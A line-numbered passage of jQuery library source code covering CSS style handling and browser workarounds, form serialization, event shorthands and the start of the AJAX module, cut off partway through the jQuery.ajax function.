  6843. if ( type === "number" && !jQuery.cssNumber[ origName ] ) {
  6844. value += "px";
  6845. }
  6846.  
  6847. // Fixes #8908, it can be done more correctly by specifing setters in cssHooks,
  6848. // but it would mean to define eight (for every problematic property) identical functions
  6849. if ( !jQuery.support.clearCloneStyle && value === "" && name.indexOf("background") === 0 ) {
  6850. style[ name ] = "inherit";
  6851. }
  6852.  
  6853. // If a hook was provided, use that value, otherwise just set the specified value
  6854. if ( !hooks || !("set" in hooks) || (value = hooks.set( elem, value, extra )) !== undefined ) {
  6855.  
  6856. // Wrapped to prevent IE from throwing errors when 'invalid' values are provided
  6857. // Fixes bug #5509
  6858. try {
  6859. style[ name ] = value;
  6860. } catch(e) {}
  6861. }
  6862.  
  6863. } else {
  6864. // If a hook was provided get the non-computed value from there
  6865. if ( hooks && "get" in hooks && (ret = hooks.get( elem, false, extra )) !== undefined ) {
  6866. return ret;
  6867. }
  6868.  
  6869. // Otherwise just get the value from the style object
  6870. return style[ name ];
  6871. }
  6872. },
  6873.  
  6874. css: function( elem, name, extra, styles ) {
  6875. var num, val, hooks,
  6876. origName = jQuery.camelCase( name );
  6877.  
  6878. // Make sure that we're working with the right name
  6879. name = jQuery.cssProps[ origName ] || ( jQuery.cssProps[ origName ] = vendorPropName( elem.style, origName ) );
  6880.  
  6881. // gets hook for the prefixed version
  6882. // followed by the unprefixed version
  6883. hooks = jQuery.cssHooks[ name ] || jQuery.cssHooks[ origName ];
  6884.  
  6885. // If a hook was provided get the computed value from there
  6886. if ( hooks && "get" in hooks ) {
  6887. val = hooks.get( elem, true, extra );
  6888. }
  6889.  
  6890. // Otherwise, if a way to get the computed value exists, use that
  6891. if ( val === undefined ) {
  6892. val = curCSS( elem, name, styles );
  6893. }
  6894.  
  6895. //convert "normal" to computed value
  6896. if ( val === "normal" && name in cssNormalTransform ) {
  6897. val = cssNormalTransform[ name ];
  6898. }
  6899.  
  6900. // Return, converting to number if forced or a qualifier was provided and val looks numeric
  6901. if ( extra === "" || extra ) {
  6902. num = parseFloat( val );
  6903. return extra === true || jQuery.isNumeric( num ) ? num || 0 : val;
  6904. }
  6905. return val;
  6906. },
  6907.  
  6908. // A method for quickly swapping in/out CSS properties to get correct calculations
  6909. swap: function( elem, options, callback, args ) {
  6910. var ret, name,
  6911. old = {};
  6912.  
  6913. // Remember the old values, and insert the new ones
  6914. for ( name in options ) {
  6915. old[ name ] = elem.style[ name ];
  6916. elem.style[ name ] = options[ name ];
  6917. }
  6918.  
  6919. ret = callback.apply( elem, args || [] );
  6920.  
  6921. // Revert the old values
  6922. for ( name in options ) {
  6923. elem.style[ name ] = old[ name ];
  6924. }
  6925.  
  6926. return ret;
  6927. }
  6928. });
  6929.  
  6930. // NOTE: we've included the "window" in window.getComputedStyle
  6931. // because jsdom on node.js will break without it.
  6932. if ( window.getComputedStyle ) {
  6933. getStyles = function( elem ) {
  6934. return window.getComputedStyle( elem, null );
  6935. };
  6936.  
  6937. curCSS = function( elem, name, _computed ) {
  6938. var width, minWidth, maxWidth,
  6939. computed = _computed || getStyles( elem ),
  6940.  
  6941. // getPropertyValue is only needed for .css('filter') in IE9, see #12537
  6942. ret = computed ? computed.getPropertyValue( name ) || computed[ name ] : undefined,
  6943. style = elem.style;
  6944.  
  6945. if ( computed ) {
  6946.  
  6947. if ( ret === "" && !jQuery.contains( elem.ownerDocument, elem ) ) {
  6948. ret = jQuery.style( elem, name );
  6949. }
  6950.  
  6951. // A tribute to the "awesome hack by Dean Edwards"
  6952. // Chrome < 17 and Safari 5.0 uses "computed value" instead of "used value" for margin-right
  6953. // Safari 5.1.7 (at least) returns percentage for a larger set of values, but width seems to be reliably pixels
  6954. // this is against the CSSOM draft spec: http://dev.w3.org/csswg/cssom/#resolved-values
  6955. if ( rnumnonpx.test( ret ) && rmargin.test( name ) ) {
  6956.  
  6957. // Remember the original values
  6958. width = style.width;
  6959. minWidth = style.minWidth;
  6960. maxWidth = style.maxWidth;
  6961.  
  6962. // Put in the new values to get a computed value out
  6963. style.minWidth = style.maxWidth = style.width = ret;
  6964. ret = computed.width;
  6965.  
  6966. // Revert the changed values
  6967. style.width = width;
  6968. style.minWidth = minWidth;
  6969. style.maxWidth = maxWidth;
  6970. }
  6971. }
  6972.  
  6973. return ret;
  6974. };
  6975. } else if ( document.documentElement.currentStyle ) {
  6976. getStyles = function( elem ) {
  6977. return elem.currentStyle;
  6978. };
  6979.  
  6980. curCSS = function( elem, name, _computed ) {
  6981. var left, rs, rsLeft,
  6982. computed = _computed || getStyles( elem ),
  6983. ret = computed ? computed[ name ] : undefined,
  6984. style = elem.style;
  6985.  
  6986. // Avoid setting ret to empty string here
  6987. // so we don't default to auto
  6988. if ( ret == null && style && style[ name ] ) {
  6989. ret = style[ name ];
  6990. }
  6991.  
  6992. // From the awesome hack by Dean Edwards
  6993. // http://erik.eae.net/archives/2007/07/27/18.54.15/#comment-102291
  6994.  
  6995. // If we're not dealing with a regular pixel number
  6996. // but a number that has a weird ending, we need to convert it to pixels
  6997. // but not position css attributes, as those are proportional to the parent element instead
  6998. // and we can't measure the parent instead because it might trigger a "stacking dolls" problem
  6999. if ( rnumnonpx.test( ret ) && !rposition.test( name ) ) {
  7000.  
  7001. // Remember the original values
  7002. left = style.left;
  7003. rs = elem.runtimeStyle;
  7004. rsLeft = rs && rs.left;
  7005.  
  7006. // Put in the new values to get a computed value out
  7007. if ( rsLeft ) {
  7008. rs.left = elem.currentStyle.left;
  7009. }
  7010. style.left = name === "fontSize" ? "1em" : ret;
  7011. ret = style.pixelLeft + "px";
  7012.  
  7013. // Revert the changed values
  7014. style.left = left;
  7015. if ( rsLeft ) {
  7016. rs.left = rsLeft;
  7017. }
  7018. }
  7019.  
  7020. return ret === "" ? "auto" : ret;
  7021. };
  7022. }
  7023.  
  7024. function setPositiveNumber( elem, value, subtract ) {
  7025. var matches = rnumsplit.exec( value );
  7026. return matches ?
  7027. // Guard against undefined "subtract", e.g., when used as in cssHooks
  7028. Math.max( 0, matches[ 1 ] - ( subtract || 0 ) ) + ( matches[ 2 ] || "px" ) :
  7029. value;
  7030. }
  7031.  
  7032. function augmentWidthOrHeight( elem, name, extra, isBorderBox, styles ) {
  7033. var i = extra === ( isBorderBox ? "border" : "content" ) ?
  7034. // If we already have the right measurement, avoid augmentation
  7035. 4 :
  7036. // Otherwise initialize for horizontal or vertical properties
  7037. name === "width" ? 1 : 0,
  7038.  
  7039. val = 0;
  7040.  
  7041. for ( ; i < 4; i += 2 ) {
  7042. // both box models exclude margin, so add it if we want it
  7043. if ( extra === "margin" ) {
  7044. val += jQuery.css( elem, extra + cssExpand[ i ], true, styles );
  7045. }
  7046.  
  7047. if ( isBorderBox ) {
  7048. // border-box includes padding, so remove it if we want content
  7049. if ( extra === "content" ) {
  7050. val -= jQuery.css( elem, "padding" + cssExpand[ i ], true, styles );
  7051. }
  7052.  
  7053. // at this point, extra isn't border nor margin, so remove border
  7054. if ( extra !== "margin" ) {
  7055. val -= jQuery.css( elem, "border" + cssExpand[ i ] + "Width", true, styles );
  7056. }
  7057. } else {
  7058. // at this point, extra isn't content, so add padding
  7059. val += jQuery.css( elem, "padding" + cssExpand[ i ], true, styles );
  7060.  
  7061. // at this point, extra isn't content nor padding, so add border
  7062. if ( extra !== "padding" ) {
  7063. val += jQuery.css( elem, "border" + cssExpand[ i ] + "Width", true, styles );
  7064. }
  7065. }
  7066. }
  7067.  
  7068. return val;
  7069. }
  7070.  
  7071. function getWidthOrHeight( elem, name, extra ) {
  7072.  
  7073. // Start with offset property, which is equivalent to the border-box value
  7074. var valueIsBorderBox = true,
  7075. val = name === "width" ? elem.offsetWidth : elem.offsetHeight,
  7076. styles = getStyles( elem ),
  7077. isBorderBox = jQuery.support.boxSizing && jQuery.css( elem, "boxSizing", false, styles ) === "border-box";
  7078.  
  7079. // some non-html elements return undefined for offsetWidth, so check for null/undefined
  7080. // svg - https://bugzilla.mozilla.org/show_bug.cgi?id=649285
  7081. // MathML - https://bugzilla.mozilla.org/show_bug.cgi?id=491668
  7082. if ( val <= 0 || val == null ) {
  7083. // Fall back to computed then uncomputed css if necessary
  7084. val = curCSS( elem, name, styles );
  7085. if ( val < 0 || val == null ) {
  7086. val = elem.style[ name ];
  7087. }
  7088.  
  7089. // Computed unit is not pixels. Stop here and return.
  7090. if ( rnumnonpx.test(val) ) {
  7091. return val;
  7092. }
  7093.  
  7094. // we need the check for style in case a browser which returns unreliable values
  7095. // for getComputedStyle silently falls back to the reliable elem.style
  7096. valueIsBorderBox = isBorderBox && ( jQuery.support.boxSizingReliable || val === elem.style[ name ] );
  7097.  
  7098. // Normalize "", auto, and prepare for extra
  7099. val = parseFloat( val ) || 0;
  7100. }
  7101.  
  7102. // use the active box-sizing model to add/subtract irrelevant styles
  7103. return ( val +
  7104. augmentWidthOrHeight(
  7105. elem,
  7106. name,
  7107. extra || ( isBorderBox ? "border" : "content" ),
  7108. valueIsBorderBox,
  7109. styles
  7110. )
  7111. ) + "px";
  7112. }
  7113.  
  7114. // Try to determine the default display value of an element
  7115. function css_defaultDisplay( nodeName ) {
  7116. var doc = document,
  7117. display = elemdisplay[ nodeName ];
  7118.  
  7119. if ( !display ) {
  7120. display = actualDisplay( nodeName, doc );
  7121.  
  7122. // If the simple way fails, read from inside an iframe
  7123. if ( display === "none" || !display ) {
  7124. // Use the already-created iframe if possible
  7125. iframe = ( iframe ||
  7126. jQuery("<iframe frameborder='0' width='0' height='0'/>")
  7127. .css( "cssText", "display:block !important" )
  7128. ).appendTo( doc.documentElement );
  7129.  
  7130. // Always write a new HTML skeleton so Webkit and Firefox don't choke on reuse
  7131. doc = ( iframe[0].contentWindow || iframe[0].contentDocument ).document;
  7132. doc.write("<!doctype html><html><body>");
  7133. doc.close();
  7134.  
  7135. display = actualDisplay( nodeName, doc );
  7136. iframe.detach();
  7137. }
  7138.  
  7139. // Store the correct default display
  7140. elemdisplay[ nodeName ] = display;
  7141. }
  7142.  
  7143. return display;
  7144. }
  7145.  
  7146. // Called ONLY from within css_defaultDisplay
  7147. function actualDisplay( name, doc ) {
  7148. var elem = jQuery( doc.createElement( name ) ).appendTo( doc.body ),
  7149. display = jQuery.css( elem[0], "display" );
  7150. elem.remove();
  7151. return display;
  7152. }
  7153.  
  7154. jQuery.each([ "height", "width" ], function( i, name ) {
  7155. jQuery.cssHooks[ name ] = {
  7156. get: function( elem, computed, extra ) {
  7157. if ( computed ) {
  7158. // certain elements can have dimension info if we invisibly show them
  7159. // however, it must have a current display style that would benefit from this
  7160. return elem.offsetWidth === 0 && rdisplayswap.test( jQuery.css( elem, "display" ) ) ?
  7161. jQuery.swap( elem, cssShow, function() {
  7162. return getWidthOrHeight( elem, name, extra );
  7163. }) :
  7164. getWidthOrHeight( elem, name, extra );
  7165. }
  7166. },
  7167.  
  7168. set: function( elem, value, extra ) {
  7169. var styles = extra && getStyles( elem );
  7170. return setPositiveNumber( elem, value, extra ?
  7171. augmentWidthOrHeight(
  7172. elem,
  7173. name,
  7174. extra,
  7175. jQuery.support.boxSizing && jQuery.css( elem, "boxSizing", false, styles ) === "border-box",
  7176. styles
  7177. ) : 0
  7178. );
  7179. }
  7180. };
  7181. });
  7182.  
  7183. if ( !jQuery.support.opacity ) {
  7184. jQuery.cssHooks.opacity = {
  7185. get: function( elem, computed ) {
  7186. // IE uses filters for opacity
  7187. return ropacity.test( (computed && elem.currentStyle ? elem.currentStyle.filter : elem.style.filter) || "" ) ?
  7188. ( 0.01 * parseFloat( RegExp.$1 ) ) + "" :
  7189. computed ? "1" : "";
  7190. },
  7191.  
  7192. set: function( elem, value ) {
  7193. var style = elem.style,
  7194. currentStyle = elem.currentStyle,
  7195. opacity = jQuery.isNumeric( value ) ? "alpha(opacity=" + value * 100 + ")" : "",
  7196. filter = currentStyle && currentStyle.filter || style.filter || "";
  7197.  
  7198. // IE has trouble with opacity if it does not have layout
  7199. // Force it by setting the zoom level
  7200. style.zoom = 1;
  7201.  
  7202. // if setting opacity to 1, and no other filters exist - attempt to remove filter attribute #6652
  7203. // if value === "", then remove inline opacity #12685
  7204. if ( ( value >= 1 || value === "" ) &&
  7205. jQuery.trim( filter.replace( ralpha, "" ) ) === "" &&
  7206. style.removeAttribute ) {
  7207.  
  7208. // Setting style.filter to null, "" & " " still leave "filter:" in the cssText
  7209. // if "filter:" is present at all, clearType is disabled, we want to avoid this
  7210. // style.removeAttribute is IE Only, but so apparently is this code path...
  7211. style.removeAttribute( "filter" );
  7212.  
  7213. // if there is no filter style applied in a css rule or unset inline opacity, we are done
  7214. if ( value === "" || currentStyle && !currentStyle.filter ) {
  7215. return;
  7216. }
  7217. }
  7218.  
  7219. // otherwise, set new filter values
  7220. style.filter = ralpha.test( filter ) ?
  7221. filter.replace( ralpha, opacity ) :
  7222. filter + " " + opacity;
  7223. }
  7224. };
  7225. }
  7226.  
  7227. // These hooks cannot be added until DOM ready because the support test
  7228. // for it is not run until after DOM ready
  7229. jQuery(function() {
  7230. if ( !jQuery.support.reliableMarginRight ) {
  7231. jQuery.cssHooks.marginRight = {
  7232. get: function( elem, computed ) {
  7233. if ( computed ) {
  7234. // WebKit Bug 13343 - getComputedStyle returns wrong value for margin-right
  7235. // Work around by temporarily setting element display to inline-block
  7236. return jQuery.swap( elem, { "display": "inline-block" },
  7237. curCSS, [ elem, "marginRight" ] );
  7238. }
  7239. }
  7240. };
  7241. }
  7242.  
  7243. // Webkit bug: https://bugs.webkit.org/show_bug.cgi?id=29084
  7244. // getComputedStyle returns percent when specified for top/left/bottom/right
  7245. // rather than make the css module depend on the offset module, we just check for it here
  7246. if ( !jQuery.support.pixelPosition && jQuery.fn.position ) {
  7247. jQuery.each( [ "top", "left" ], function( i, prop ) {
  7248. jQuery.cssHooks[ prop ] = {
  7249. get: function( elem, computed ) {
  7250. if ( computed ) {
  7251. computed = curCSS( elem, prop );
  7252. // if curCSS returns percentage, fallback to offset
  7253. return rnumnonpx.test( computed ) ?
  7254. jQuery( elem ).position()[ prop ] + "px" :
  7255. computed;
  7256. }
  7257. }
  7258. };
  7259. });
  7260. }
  7261.  
  7262. });
  7263.  
  7264. if ( jQuery.expr && jQuery.expr.filters ) {
  7265. jQuery.expr.filters.hidden = function( elem ) {
  7266. // Support: Opera <= 12.12
  7267. // Opera reports offsetWidths and offsetHeights less than zero on some elements
  7268. return elem.offsetWidth <= 0 && elem.offsetHeight <= 0 ||
  7269. (!jQuery.support.reliableHiddenOffsets && ((elem.style && elem.style.display) || jQuery.css( elem, "display" )) === "none");
  7270. };
  7271.  
  7272. jQuery.expr.filters.visible = function( elem ) {
  7273. return !jQuery.expr.filters.hidden( elem );
  7274. };
  7275. }
  7276.  
  7277. // These hooks are used by animate to expand properties
  7278. jQuery.each({
  7279. margin: "",
  7280. padding: "",
  7281. border: "Width"
  7282. }, function( prefix, suffix ) {
  7283. jQuery.cssHooks[ prefix + suffix ] = {
  7284. expand: function( value ) {
  7285. var i = 0,
  7286. expanded = {},
  7287.  
  7288. // assumes a single number if not a string
  7289. parts = typeof value === "string" ? value.split(" ") : [ value ];
  7290.  
  7291. for ( ; i < 4; i++ ) {
  7292. expanded[ prefix + cssExpand[ i ] + suffix ] =
  7293. parts[ i ] || parts[ i - 2 ] || parts[ 0 ];
  7294. }
  7295.  
  7296. return expanded;
  7297. }
  7298. };
  7299.  
  7300. if ( !rmargin.test( prefix ) ) {
  7301. jQuery.cssHooks[ prefix + suffix ].set = setPositiveNumber;
  7302. }
  7303. });
  7304. var r20 = /%20/g,
  7305. rbracket = /\[\]$/,
  7306. rCRLF = /\r?\n/g,
  7307. rsubmitterTypes = /^(?:submit|button|image|reset|file)$/i,
  7308. rsubmittable = /^(?:input|select|textarea|keygen)/i;
  7309.  
  7310. jQuery.fn.extend({
  7311. serialize: function() {
  7312. return jQuery.param( this.serializeArray() );
  7313. },
  7314. serializeArray: function() {
  7315. return this.map(function(){
  7316. // Can add propHook for "elements" to filter or add form elements
  7317. var elements = jQuery.prop( this, "elements" );
  7318. return elements ? jQuery.makeArray( elements ) : this;
  7319. })
  7320. .filter(function(){
  7321. var type = this.type;
  7322. // Use .is(":disabled") so that fieldset[disabled] works
  7323. return this.name && !jQuery( this ).is( ":disabled" ) &&
  7324. rsubmittable.test( this.nodeName ) && !rsubmitterTypes.test( type ) &&
  7325. ( this.checked || !manipulation_rcheckableType.test( type ) );
  7326. })
  7327. .map(function( i, elem ){
  7328. var val = jQuery( this ).val();
  7329.  
  7330. return val == null ?
  7331. null :
  7332. jQuery.isArray( val ) ?
  7333. jQuery.map( val, function( val ){
  7334. return { name: elem.name, value: val.replace( rCRLF, "\r\n" ) };
  7335. }) :
  7336. { name: elem.name, value: val.replace( rCRLF, "\r\n" ) };
  7337. }).get();
  7338. }
  7339. });
  7340.  
  7341. //Serialize an array of form elements or a set of
  7342. //key/values into a query string
  7343. jQuery.param = function( a, traditional ) {
  7344. var prefix,
  7345. s = [],
  7346. add = function( key, value ) {
  7347. // If value is a function, invoke it and return its value
  7348. value = jQuery.isFunction( value ) ? value() : ( value == null ? "" : value );
  7349. s[ s.length ] = encodeURIComponent( key ) + "=" + encodeURIComponent( value );
  7350. };
  7351.  
  7352. // Set traditional to true for jQuery <= 1.3.2 behavior.
  7353. if ( traditional === undefined ) {
  7354. traditional = jQuery.ajaxSettings && jQuery.ajaxSettings.traditional;
  7355. }
  7356.  
  7357. // If an array was passed in, assume that it is an array of form elements.
  7358. if ( jQuery.isArray( a ) || ( a.jquery && !jQuery.isPlainObject( a ) ) ) {
  7359. // Serialize the form elements
  7360. jQuery.each( a, function() {
  7361. add( this.name, this.value );
  7362. });
  7363.  
  7364. } else {
  7365. // If traditional, encode the "old" way (the way 1.3.2 or older
  7366. // did it), otherwise encode params recursively.
  7367. for ( prefix in a ) {
  7368. buildParams( prefix, a[ prefix ], traditional, add );
  7369. }
  7370. }
  7371.  
  7372. // Return the resulting serialization
  7373. return s.join( "&" ).replace( r20, "+" );
  7374. };
  7375.  
  7376. function buildParams( prefix, obj, traditional, add ) {
  7377. var name;
  7378.  
  7379. if ( jQuery.isArray( obj ) ) {
  7380. // Serialize array item.
  7381. jQuery.each( obj, function( i, v ) {
  7382. if ( traditional || rbracket.test( prefix ) ) {
  7383. // Treat each array item as a scalar.
  7384. add( prefix, v );
  7385.  
  7386. } else {
  7387. // Item is non-scalar (array or object), encode its numeric index.
  7388. buildParams( prefix + "[" + ( typeof v === "object" ? i : "" ) + "]", v, traditional, add );
  7389. }
  7390. });
  7391.  
  7392. } else if ( !traditional && jQuery.type( obj ) === "object" ) {
  7393. // Serialize object item.
  7394. for ( name in obj ) {
  7395. buildParams( prefix + "[" + name + "]", obj[ name ], traditional, add );
  7396. }
  7397.  
  7398. } else {
  7399. // Serialize scalar item.
  7400. add( prefix, obj );
  7401. }
  7402. }
  7403. jQuery.each( ("blur focus focusin focusout load resize scroll unload click dblclick " +
  7404. "mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave " +
  7405. "change select submit keydown keypress keyup error contextmenu").split(" "), function( i, name ) {
  7406.  
  7407. // Handle event binding
  7408. jQuery.fn[ name ] = function( data, fn ) {
  7409. return arguments.length > 0 ?
  7410. this.on( name, null, data, fn ) :
  7411. this.trigger( name );
  7412. };
  7413. });
  7414.  
  7415. jQuery.fn.hover = function( fnOver, fnOut ) {
  7416. return this.mouseenter( fnOver ).mouseleave( fnOut || fnOver );
  7417. };
  7418. var
  7419. // Document location
  7420. ajaxLocParts,
  7421. ajaxLocation,
  7422. ajax_nonce = jQuery.now(),
  7423.  
  7424. ajax_rquery = /\?/,
  7425. rhash = /#.*$/,
  7426. rts = /([?&])_=[^&]*/,
  7427. rheaders = /^(.*?):[ \t]*([^\r\n]*)\r?$/mg, // IE leaves an \r character at EOL
  7428. // #7653, #8125, #8152: local protocol detection
  7429. rlocalProtocol = /^(?:about|app|app-storage|.+-extension|file|res|widget):$/,
  7430. rnoContent = /^(?:GET|HEAD)$/,
  7431. rprotocol = /^\/\//,
  7432. rurl = /^([\w.+-]+:)(?:\/\/([^\/?#:]*)(?::(\d+)|)|)/,
  7433.  
  7434. // Keep a copy of the old load method
  7435. _load = jQuery.fn.load,
  7436.  
  7437. /* Prefilters
  7438. * 1) They are useful to introduce custom dataTypes (see ajax/jsonp.js for an example)
  7439. * 2) These are called:
  7440. * - BEFORE asking for a transport
  7441. * - AFTER param serialization (s.data is a string if s.processData is true)
  7442. * 3) key is the dataType
  7443. * 4) the catchall symbol "*" can be used
  7444. * 5) execution will start with transport dataType and THEN continue down to "*" if needed
  7445. */
  7446. prefilters = {},
  7447.  
  7448. /* Transports bindings
  7449. * 1) key is the dataType
  7450. * 2) the catchall symbol "*" can be used
  7451. * 3) selection will start with transport dataType and THEN go to "*" if needed
  7452. */
  7453. transports = {},
  7454.  
  7455. // Avoid comment-prolog char sequence (#10098); must appease lint and evade compression
  7456. allTypes = "*/".concat("*");
  7457.  
  7458. // #8138, IE may throw an exception when accessing
  7459. // a field from window.location if document.domain has been set
  7460. try {
  7461. ajaxLocation = location.href;
  7462. } catch( e ) {
  7463. // Use the href attribute of an A element
  7464. // since IE will modify it given document.location
  7465. ajaxLocation = document.createElement( "a" );
  7466. ajaxLocation.href = "";
  7467. ajaxLocation = ajaxLocation.href;
  7468. }
  7469.  
  7470. // Segment location into parts
  7471. ajaxLocParts = rurl.exec( ajaxLocation.toLowerCase() ) || [];
  7472.  
  7473. // Base "constructor" for jQuery.ajaxPrefilter and jQuery.ajaxTransport
  7474. function addToPrefiltersOrTransports( structure ) {
  7475.  
  7476. // dataTypeExpression is optional and defaults to "*"
  7477. return function( dataTypeExpression, func ) {
  7478.  
  7479. if ( typeof dataTypeExpression !== "string" ) {
  7480. func = dataTypeExpression;
  7481. dataTypeExpression = "*";
  7482. }
  7483.  
  7484. var dataType,
  7485. i = 0,
  7486. dataTypes = dataTypeExpression.toLowerCase().match( core_rnotwhite ) || [];
  7487.  
  7488. if ( jQuery.isFunction( func ) ) {
  7489. // For each dataType in the dataTypeExpression
  7490. while ( (dataType = dataTypes[i++]) ) {
  7491. // Prepend if requested
  7492. if ( dataType[0] === "+" ) {
  7493. dataType = dataType.slice( 1 ) || "*";
  7494. (structure[ dataType ] = structure[ dataType ] || []).unshift( func );
  7495.  
  7496. // Otherwise append
  7497. } else {
  7498. (structure[ dataType ] = structure[ dataType ] || []).push( func );
  7499. }
  7500. }
  7501. }
  7502. };
  7503. }
  7504.  
  7505. // Base inspection function for prefilters and transports
  7506. function inspectPrefiltersOrTransports( structure, options, originalOptions, jqXHR ) {
  7507.  
  7508. var inspected = {},
  7509. seekingTransport = ( structure === transports );
  7510.  
  7511. function inspect( dataType ) {
  7512. var selected;
  7513. inspected[ dataType ] = true;
  7514. jQuery.each( structure[ dataType ] || [], function( _, prefilterOrFactory ) {
  7515. var dataTypeOrTransport = prefilterOrFactory( options, originalOptions, jqXHR );
  7516. if( typeof dataTypeOrTransport === "string" && !seekingTransport && !inspected[ dataTypeOrTransport ] ) {
  7517. options.dataTypes.unshift( dataTypeOrTransport );
  7518. inspect( dataTypeOrTransport );
  7519. return false;
  7520. } else if ( seekingTransport ) {
  7521. return !( selected = dataTypeOrTransport );
  7522. }
  7523. });
  7524. return selected;
  7525. }
  7526.  
  7527. return inspect( options.dataTypes[ 0 ] ) || !inspected[ "*" ] && inspect( "*" );
  7528. }
  7529.  
  7530. // A special extend for ajax options
  7531. // that takes "flat" options (not to be deep extended)
  7532. // Fixes #9887
  7533. function ajaxExtend( target, src ) {
  7534. var deep, key,
  7535. flatOptions = jQuery.ajaxSettings.flatOptions || {};
  7536.  
  7537. for ( key in src ) {
  7538. if ( src[ key ] !== undefined ) {
  7539. ( flatOptions[ key ] ? target : ( deep || (deep = {}) ) )[ key ] = src[ key ];
  7540. }
  7541. }
  7542. if ( deep ) {
  7543. jQuery.extend( true, target, deep );
  7544. }
  7545.  
  7546. return target;
  7547. }
  7548.  
  7549. jQuery.fn.load = function( url, params, callback ) {
  7550. if ( typeof url !== "string" && _load ) {
  7551. return _load.apply( this, arguments );
  7552. }
  7553.  
  7554. var selector, response, type,
  7555. self = this,
  7556. off = url.indexOf(" ");
  7557.  
  7558. if ( off >= 0 ) {
  7559. selector = url.slice( off, url.length );
  7560. url = url.slice( 0, off );
  7561. }
  7562.  
  7563. // If it's a function
  7564. if ( jQuery.isFunction( params ) ) {
  7565.  
  7566. // We assume that it's the callback
  7567. callback = params;
  7568. params = undefined;
  7569.  
  7570. // Otherwise, build a param string
  7571. } else if ( params && typeof params === "object" ) {
  7572. type = "POST";
  7573. }
  7574.  
  7575. // If we have elements to modify, make the request
  7576. if ( self.length > 0 ) {
  7577. jQuery.ajax({
  7578. url: url,
  7579.  
  7580. // if "type" variable is undefined, then "GET" method will be used
  7581. type: type,
  7582. dataType: "html",
  7583. data: params
  7584. }).done(function( responseText ) {
  7585.  
  7586. // Save response for use in complete callback
  7587. response = arguments;
  7588.  
  7589. self.html( selector ?
  7590.  
  7591. // If a selector was specified, locate the right elements in a dummy div
  7592. // Exclude scripts to avoid IE 'Permission Denied' errors
  7593. jQuery("<div>").append( jQuery.parseHTML( responseText ) ).find( selector ) :
  7594.  
  7595. // Otherwise use the full result
  7596. responseText );
  7597.  
  7598. }).complete( callback && function( jqXHR, status ) {
  7599. self.each( callback, response || [ jqXHR.responseText, status, jqXHR ] );
  7600. });
  7601. }
  7602.  
  7603. return this;
  7604. };
  7605.  
  7606. // Attach a bunch of functions for handling common AJAX events
  7607. jQuery.each( [ "ajaxStart", "ajaxStop", "ajaxComplete", "ajaxError", "ajaxSuccess", "ajaxSend" ], function( i, type ){
  7608. jQuery.fn[ type ] = function( fn ){
  7609. return this.on( type, fn );
  7610. };
  7611. });
  7612.  
  7613. jQuery.each( [ "get", "post" ], function( i, method ) {
  7614. jQuery[ method ] = function( url, data, callback, type ) {
  7615. // shift arguments if data argument was omitted
  7616. if ( jQuery.isFunction( data ) ) {
  7617. type = type || callback;
  7618. callback = data;
  7619. data = undefined;
  7620. }
  7621.  
  7622. return jQuery.ajax({
  7623. url: url,
  7624. type: method,
  7625. dataType: type,
  7626. data: data,
  7627. success: callback
  7628. });
  7629. };
  7630. });
  7631.  
  7632. jQuery.extend({
  7633.  
  7634. // Counter for holding the number of active queries
  7635. active: 0,
  7636.  
  7637. // Last-Modified header cache for next request
  7638. lastModified: {},
  7639. etag: {},
  7640.  
  7641. ajaxSettings: {
  7642. url: ajaxLocation,
  7643. type: "GET",
  7644. isLocal: rlocalProtocol.test( ajaxLocParts[ 1 ] ),
  7645. global: true,
  7646. processData: true,
  7647. async: true,
  7648. contentType: "application/x-www-form-urlencoded; charset=UTF-8",
  7649. /*
  7650. timeout: 0,
  7651. data: null,
  7652. dataType: null,
  7653. username: null,
  7654. password: null,
  7655. cache: null,
  7656. throws: false,
  7657. traditional: false,
  7658. headers: {},
  7659. */
  7660.  
  7661. accepts: {
  7662. "*": allTypes,
  7663. text: "text/plain",
  7664. html: "text/html",
  7665. xml: "application/xml, text/xml",
  7666. json: "application/json, text/javascript"
  7667. },
  7668.  
  7669. contents: {
  7670. xml: /xml/,
  7671. html: /html/,
  7672. json: /json/
  7673. },
  7674.  
  7675. responseFields: {
  7676. xml: "responseXML",
  7677. text: "responseText"
  7678. },
  7679.  
  7680. // Data converters
  7681. // Keys separate source (or catchall "*") and destination types with a single space
  7682. converters: {
  7683.  
  7684. // Convert anything to text
  7685. "* text": window.String,
  7686.  
  7687. // Text to html (true = no transformation)
  7688. "text html": true,
  7689.  
  7690. // Evaluate text as a json expression
  7691. "text json": jQuery.parseJSON,
  7692.  
  7693. // Parse text as xml
  7694. "text xml": jQuery.parseXML
  7695. },
  7696.  
  7697. // For options that shouldn't be deep extended:
  7698. // you can add your own custom options here if
  7699. // and when you create one that shouldn't be
  7700. // deep extended (see ajaxExtend)
  7701. flatOptions: {
  7702. url: true,
  7703. context: true
  7704. }
  7705. },
  7706.  
  7707. // Creates a full fledged settings object into target
  7708. // with both ajaxSettings and settings fields.
  7709. // If target is omitted, writes into ajaxSettings.
  7710. ajaxSetup: function( target, settings ) {
  7711. return settings ?
  7712.  
  7713. // Building a settings object
  7714. ajaxExtend( ajaxExtend( target, jQuery.ajaxSettings ), settings ) :
  7715.  
  7716. // Extending ajaxSettings
  7717. ajaxExtend( jQuery.ajaxSettings, target );
  7718. },
  7719.  
  7720. ajaxPrefilter: addToPrefiltersOrTransports( prefilters ),
  7721. ajaxTransport: addToPrefiltersOrTransports( transports ),
  7722.  
  7723. // Main method
  7724. ajax: function( url, options ) {
  7725.  
  7726. // If url is an object, simulate pre-1.5 signature
  7727. if ( typeof url === "object" ) {
  7728. options = url;
  7729. url = undefined;
  7730. }
  7731.  
  7732. // Force options to be an object
  7733. options = options || {};
  7734.  
  7735. var // Cross-domain detection vars
  7736. parts,
  7737. // Loop variable
  7738. i,
  7739. // URL without anti-cache param
  7740. cacheURL,
  7741. // Response headers as string
  7742. responseHeadersString,
  7743. // timeout handle
  7744. timeoutTimer,
  7745.  
  7746. // To know if global events are to be dispatched
  7747. fireGlobals,
  7748.  
  7749. transport,
  7750. // Response headers
  7751. responseHeaders,
  7752. // Create the final options object
  7753. s = jQuery.ajaxSetup( {}, options ),
  7754. // Callbacks context
  7755. callbackContext = s.context || s,
  7756. // Context for global events is callbackContext if it is a DOM node or jQuery collection
  7757. globalEventContext = s.context && ( callbackContext.nodeType || callbackContext.jquery ) ?
  7758. jQuery( callbackContext ) :
  7759. jQuery.event,
  7760. // Deferreds
  7761. deferred = jQuery.Deferred(),
  7762. completeDeferred = jQuery.Callbacks("once memory"),
  7763. // Status-dependent callbacks
  7764. statusCode = s.statusCode || {},
